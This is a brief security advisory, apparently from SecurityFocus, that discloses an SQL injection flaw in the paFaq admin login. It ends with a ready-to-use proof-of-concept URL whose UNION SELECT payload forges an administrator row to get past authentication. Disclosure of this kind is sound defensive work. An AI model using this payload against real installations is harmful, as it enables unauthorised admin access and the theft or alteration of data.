source: https://www.securityfocus.com/bid/14003/info

paFaq is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pafaq/admin/index.php?act=login&username='%20UNION%20SELECT%20id,name,'3858f62230ac3c915f300c664312c63f',email,notify,permissions,session%20FROM%20pafaq_admins%20WHERE%201/*&password=foobar